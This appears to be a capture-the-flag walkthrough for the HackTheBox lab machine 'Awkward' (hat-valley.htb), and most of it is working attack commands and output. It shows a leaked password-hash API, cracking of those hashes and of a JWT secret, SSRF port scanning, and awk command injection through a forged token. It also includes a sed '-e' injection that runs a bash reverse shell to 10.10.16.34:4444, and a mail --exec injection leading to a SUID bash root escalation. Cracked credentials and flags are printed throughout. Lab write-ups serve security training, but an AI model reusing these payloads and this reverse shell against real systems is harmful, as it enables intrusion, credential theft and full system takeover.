Let’s add awkward to /etc/hosts
echo "10.10.11.185 awkward.htb" | sudo tee -a /etc/hosts
- Upon attempting to reach
awkward.htbwe receive an error message: Cannot reach hat-valley.htb- Let’s change the endpoint so the line in
/etc/hostslooks like:10.10.11.185 hat-valley.htb - There we go. Now we can visit:
-
[[http://hat-valley.htb/]]
- We can run
autoreconandferoxbusterin the background while we manually browse the site.sudo (which autorecon) hat-valley.htb - Also
feroxbuster -u http://hat-valley.htb -n -t 5 -L 5 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o ferox_hat-valley_out.txt - There were a lot of files to sift through.
- On the initial web page we found some employees within the
carousel.- We will use these names later so take note of them.
- We had found some directory locations at:
/js/src/app.js- There was a
/Dashboardendpoint that led to:http://hat-valley.htb/hr- A login form
- After entering arbitrary login credentials we can see the endpoint is:
- [[http://hat-valley.htb/api/login]]

- Let’s generate possible login username/password variations with a convenient script I picked up off of
MayorSecwithin hisMovement, Pivoting and Persistencecourse.wget https://raw.githubusercontent.com/krlsio/python/main/namemash.py chmod 700 namemash.py - Here are the usernames in a file named
rawnamesJackson Lightheart Bean Hill Christine Wool Christopher Jones - Now we can run:
python namemash.py rawnames > usernames.txt - There is no form of information disclosure when trying to log in with any of these usernames.
- We will shift our focus back towards the
app.jsfile. - Browse to:
- [[http://hat-valley.htb/js/app.js]]
- You can search for
apiandlogin. - This will lead you to
baseURL + - This leads us to additional endpoints.
hat-valley.htb/api/endpoints_hereall-leave submit-leave login staff-details store-status
- We can go directly to:
- [[http://hat-valley.htb/api/staff-details]]
- You will see
JsonWebTokenError: jwt malformed. - Now if you were paying attention and being an astute researchers you would’ve noticed the header on each page.
Cookie: token=guest
- If you go to the
devloper console, visit theapplicationtag and selectCookiesyou can delete this token. - Refresh the page.
- Now we find some convenient hashes:
[{"user_id":1,"username":"christine.wool","password":"6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649","fullname":"Christine Wool","role":"Founder, CEO","phone":"0415202922"},{"user_id":2,"username":"christopher.jones","password":"e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1","fullname":"Christopher Jones","role":"Salesperson","phone":"0456980001"},{"user_id":3,"username":"jackson.lightheart","password":"b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436","fullname":"Jackson Lightheart","role":"Salesperson","phone":"0419444111"},{"user_id":4,"username":"bean.hill","password":"37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f","fullname":"Bean Hill","role":"System Administrator","phone":"0432339177"}]

- Let’s put together a file with our hashes:
6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649 e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1 b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436 37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f
Let’s check with hashid or hash-identifier for the hash type.
hashid 6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649
hash-identifierusually has more clear results.hash-identifier HASH: 6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649

- On our host machine, in order to utilize the power of the GPU we will determine the proper
hashcatHash-Modeto use.hashcat --help | grep -e sha -e 256 -e Raw

1400will be our first go-to and will be successful with a single hash that we discover!hashcat -a 0 -m 1400 hashes.txt rockyou.txt- Output:
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123

- Before we move on it’s worth mentioning that we can bypass the login authentication for the user
adminathttp://hat-valley.htb/api/login.- On the
/Dashboardendpoint you can then go todeveloper tools,Networkand discover the/staff-detailsendpoint this way.
- On the
- Seeing we had a password with the name
chrisin it I narrowed the usernames down to those involving theChristopher Jonesuser.
cat chris
Christopher Jones
- Run
namemash.py
python namemash.py chris > chris.txt
- Now we have a shorter list.
cat chris.txt
christopherjones
joneschristopher
christopher.jones
jones.christopher
jonesc
cjones
jchristopher
c.jones
j.christopher
christopher
jones
- After attempting to automate the login procedure with both
ZapandBurpand failing I had opted to manually test out the username/password and succeeded with:
christopher.jones:chris123
- We can see right off the bat in our proxy that there is a token that looks similar to a
jwttoken. This is whereBurpSuiteshines for me. -
If you have
JWT Editorextension installed you will see the bright green colors verifying it is in fact ajwttoken.
- There are a number of ways to use these tokens with attacks. I recommend checking out
PortSwigger's Academyon the matter. It has some pretty cool scenarios to get your hands wet withjwtattacks. - Anyways we are going to make sure we have a version of
jwt2johninstalled on our host.
wget https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
chmod 700 jwt2john.py
- Convert the hash with
jwt2johnpython jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc0MzYzMTMxfQ.AvGDOOJbvJYYpr6YWK-w5xMxudrcul58DfOKrpspync > jwt_hash - Let’s see if we can find the secret
verify signature.john jwt_hash -w=/usr/share/wordlists/rockyou.txt - Output:
123beany123

- We don’t have any way to utilize the
jwttoken just yet, but stay tuned. - Next we enumerate the
http://hat-valley.htb/dashboardasChrisopher. - We can click the
Refreshbutton and find thestore-statusendpoint we previously discovered.http://hat-valley.htb/api/store-status?url=http://store.hat-valley.htb

- Let’s test for
SSRF. - Change:
http://hat-valley.htb/api/store-status?url=http://store.hat-valley.htb - To:
http://hat-valley.htb/api/store-status?url=http://localhost - We get a
200 OKand no error. Server-side Request Forgery (SSRF)- A type of web application vulnerability that allows an attacker to send crafted requests from a vulnerable server to another internal or external server on behalf of the server. This allows the attacker to access potentially sensitive information, such as internal network resources or other servers, that would not be accessible from the external network.- If we can pretend we are
localhostwe can determine if there are any internal ports open on the server in question.. - Let’s craft a script to generate ports from 1-63555.
- I am using a fish shell so this works for me:
for i in (seq 1 63555) echo $i >> ports.txt end - Let’s spin up
wfuzzto determine potential open ports:wfuzz -c -f awkward_api_store-status_wfuzz_out.txt -u 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -w ports.txt --hl 0-c- Colorize the output.-f- This switch tells wfuzz to use a specific file containing a list of payloads to use in the fuzzing process.-u- This switch tells wfuzz to use a specific URL as the target for the fuzzing process.-w- This switch tells wfuzz to use a specific file containing a list of words to use as payloads in the fuzzing process.-H- This switch tells wfuzz to use specific headers to include in the HTTP requests made during the fuzzing process.--hl- This switch tells wfuzz to hide the results in the output if the payload is found in the response. - Output:
00080: C=200 8 L 13 W 132 Ch "80" 03002: C=200 685 L 5834 W 77002 Ch "3002" 08080: C=200 54 L 163 W 2881 Ch "8080"

- Now that we know this we can visit:
http://hat-valley.htb/api/store-status?url="http://localhost:3002" - We are going to be interested in the
/api/all-leaveendpoint.app.get('/api/all-leave', (req, res) => { const user_token = req.cookies.token var authFailed = false var user = null if(user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if(!decodedToken.username) { authFailed = true } else { user = decodedToken.username } } if(authFailed) { return res.status(401).json({Error: "Invalid Token"}) } if(!user) { return res.status(500).send("Invalid user") } const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"] const badInUser = bad.some(char => user.includes(char)); if(badInUser) { return res.status(500).send("Bad character detected.") } exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => { if(stdout) { return res.status(200).send(new Buffer(stdout, 'binary')); } if (error) { return res.status(500).send("Failed to retrieve leave requests") } if (stderr) { return res.status(500).send("Failed to retrieve leave requests") } }) }) - Our focus will be on:
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", - Since
decodedTokenis taking in two arguments ofuser_tokenandTOKEN_SECRETwe shouldn’t have any issues with alteringuser_tokenwhich later gets converted intouser. useris then used after theawkcommand.if(user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if(!decodedToken.username) { authFailed = true } else { user = decodedToken.username- Reference the
File readsection ongtfobinshere:- [[https://gtfobins.github.io/gtfobins/awk/]]
- Our username payload:
"username": "/' /etc/passwd '", - Go to
jwt.ioto customize yourjwttoken.- [[jwt.io]]
- It will look like this:

Here is a convenient bash script that can be used to paste the cookie into then you can choose a path to output the content.
- I named mine
check_token_output.shecho "Enter cookie: " read cookie echo "Outfile name: " read outfile curl http://hat-valley.htb/api/all-leave --header "Cookie: token=$cookie" | tee $outfile - The output will look something like this:

- We find 2 users other than
root beanchristine
cat awkward_etc_passwd.txt | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
- After some trial and error (no ssh keys) we grab
bean's.bashrcfile since he was identified asSystem Administratoron the initial landing page. - There is a script located at:
bat awkward_bean_bashrc.txt
95 │ # custom
96 │ alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
- This leads us to:
cat awkward_bean_backup_home_sh.txt
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
- We grab the
bean_backup_final.tar.gzfile. - I made a directory for this named
bean.
mkdir bean; mv bean_backup_final.tar.gz bean; cd bean
tar xvf bean_backup_final.tar.gz
tar xvf bean_backup.tar.gz
- There are quite a few files to sift through. You will find what you are looking for at:
./.config/xpad/
- More specifically:
cat content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system
boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P
https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold⏎
- Username and password:
bean.hill:014mrbeanrules!#P
We can attempt to ssh:
ssh bean@hat-valley.htb
Password: 014mrbeanrules!#P
- We’re in!
- We can output the
user.txtflag immediately
cat user.txt
04a15632f8bed02d5e4f27ea17c870fa
- After some manual enumeration we busted out
linpeas.sh - We can see the
storeendpoint at:
store.hat-valley.htb
-
linpeas.shoutput directing us towards thestoreendpoint.
-
The content of the
store.conffile.
-
If you were on your game you would’ve ran
wfuzzof a similar tool to determinesubdomains/vhosts
wfuzz -c -f hat-valley_wfuzz_out.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hc 200 -H "Host: FUZZ.hat-valley.htb" -u "http://hat-valley.htb"
-c - Colorize the output.
-f - This switch tells wfuzz to use a specific file containing a list of payloads to use in the fuzzing process.
-u - This switch tells wfuzz to use a specific URL as the target for the fuzzing process.
-w - This switch tells wfuzz to use a specific file containing a list of words to use as payloads in the fuzzing process.
-H - This switch tells wfuzz to use specific headers to include in the HTTP requests made during the fuzzing process.
--hc - Hide these response codes.

- Then adjusting your
/etc/passwdfile:
10.10.11.185 hat-valley.htb store.hat-valley.htb
- I hadn’t mentioned this endpoint until now because it was a dead end.
- It was an additional login.
The second notable mention within the linpeas.sh output was the htpasswd file.
╔══════════╣ Analyzing Htpasswd Files (limit 70)
-rw-r--r-- 1 root root 44 Sep 15 22:34 /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

- If you go to:
- [[https://hashcat.net/wiki/doku.php?id=example_hashes]]
- Search for
$apr1$ - You will find
Hash-Modenumber1600 - Take the hash and
bean'spassword and run it throughhashcatand you will find a match
cat test_hash
$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
cat test
014mrbeanrules!#P
hashcat
hashcat -a 0 -m 1600 test_hash test
- Output:
$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1:014mrbeanrules!#P
- This will become relevant momentarily.
- On
beango to/var/www/store. - Since we can see the relevant source code let’s being with
README.md
cat README.md
# Hat Valley - Shop Online!
### To Do
1. Waiting for SQL database to be setup, using offline files for now, will merge with database once it is setup
2. Implement checkout system, link with credit card system (Stripe??)
3. Implement shop filter
4. Get full catalogue of items
### How to Add New Catalogue Item
1. Copy an existing item from /product-details and paste it in the same folder, changing the name to reflect a new product ID
2. Change the fields to the appropriate values and save the file.
-- NOTE: Please leave the header on first line! This is used to verify it as a valid Hat Valley product. --
### Hat Valley Cart
Right now, the user's cart is stored within /cart, and is named according to the user's session ID. All products are appended to the same file for each user.
To test cart functionality, create a new cart file and add items to it, and see how they are reflected on the store website!
-
Note the last two lines.
-
Now to the juicy part!
cat -n cart_actions.php
49 //delete from cart
50 if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
51 $item_id = $_POST['item'];
52 $user_id = $_POST['user'];
53 $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
54
55 foreach($bad_chars as $bad) {
56 if(strpos($item_id, $bad) !== FALSE) {
57 echo "Bad character detected!";
58 exit;
59 }
60 }
61
62 foreach($bad_chars as $bad) {
63 if(strpos($user_id, $bad) !== FALSE) {
64 echo "Bad character detected!";
65 exit;
66 }
67 }
68 if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
69 system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
70 echo "Item removed from cart";
71 }
72 else {
73 echo "Invalid item";
74 }
75 exit;
76 }
- On lines 68-70 we can see that
sedis being used. - If we can pass in data to
item_idwe can directly execute a script within the file-system if we pass the-eargument. - This argument will execute when the item is deleted.

Let’s check BurpSuite for this one.

- There shouldn’t be any reason we can’t craft a specific
item_idon client-side. - On
beancreate a reverse shell. I’m using thehack-toolsextension. - I’ll name it
quick.shand place it in the/tmpdirectory./tmp/quich.sh
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/10.10.16.34/4444 <&1'
- Make sure to make it executable for all.
chmod +x /tmp/quick.sh
- Start a reverse shell on
Host
nc -lvnp 444
- Now add an item to the cart.
- Go to:
/var/www/store/cart- Take note of the
endpoint.563c-f335-546-9e1f
- As
beancreate the same file as above.nano /var/www/store/cart/563c-f335-546-9e1f
***Hat Valley Cart***
item_id=1' -e "1e /tmp/quick.sh" /tmp/quick.sh '&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
1e- is used in thesedcommand as a command option that tells it to execute a command upon finding a match on the first line of the file.- Find more details in regards to
sedhere:- [[https://gtfobins.github.io/gtfobins/sed/]]
- On the website go to
cartand delete the item. - Find the
POSTrequest inBurpSuiteand send to repeater. - The body of your request should look similar to this:
item=1'+-e+"1e+/tmp/quick.sh"+/tmp/quick.sh+'&user=563c-f335-546-9e1f&action=delete_item
Hit send.

- We are in for user 2 as
www-data! - Let’s fix our shell by adding
clearfunctionality
export TERM=xterm
- You can spin up another
linpeas.shto determine if there is any significant difference. You won’t find much. - The last relevant
linpeas.shfinding can be found when ran by either user.
══════════════════════════╣ Processes, Crons, Timers, Services and Sockets ╠══════════════════════════
╚════════════════════════════════════════════════╝
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root 997 0.0 0.0 18624 3500 ? Ss Jan20 0:00 /bin/bash /root/scripts/notify.sh
root 1017 0.0 0.0 2988 1252 ? S Jan20 0:00 _ inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv
- If you hadn’t noticed the importance of the
www-dataat this point I will explain.
ls -ld /var/www/private
dr-xr-x--- 2 christine www-data 4096 Oct 6 01:35 /var/www/private
- Now we can access this
privatedirectory and write content to theleave_requests.csvfile and determine what follows. - Let’s get the proper software on the victim machine so we can monitor active processes.
- If you haven’t already download
pspy64.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
- Spin up a server to transfer it over. I’ll use
python. - On
Host
python -m http.server
- On
Victim
wget http://10.10.16.34:8000/pspy64
chmod +x pspy64
./pspy64

- We see
rootis utilizing themailcommand. - Similar to before we can also use
mailto execute a script with the--execflag. - Find more about it here:
- [[https://gtfobins.github.io/gtfobins/mail/]]
- Let’s create another script in the
/tmpdirectory which allows us to elevate our privileges by addingSUIDbit to the/bin/bashbinary. - I’ll name my file
theway.shin the/tmpdirectory. /tmp/theway.sh
#!/bin/bash
chmod +s /bin/bash
- Make sure it is executable.
chmod +x /tmp/theway.sh
- As
www-datarun in the/var/www/privatedirectory run:echo '" --exec="\!/tmp/theway.sh"' >> leav* - Then elevate privileges with:
/bin/bash -p
-
The
-pswitch will execute/bin/bashinprivilegedmode. -
There you have it!
cat /home/bean/user.txt
04a15632f8bed02d5e4f27ea17c870fa
cat /root/root.txt
59cd607b9a118ca92314b57e3167fe66

#hacking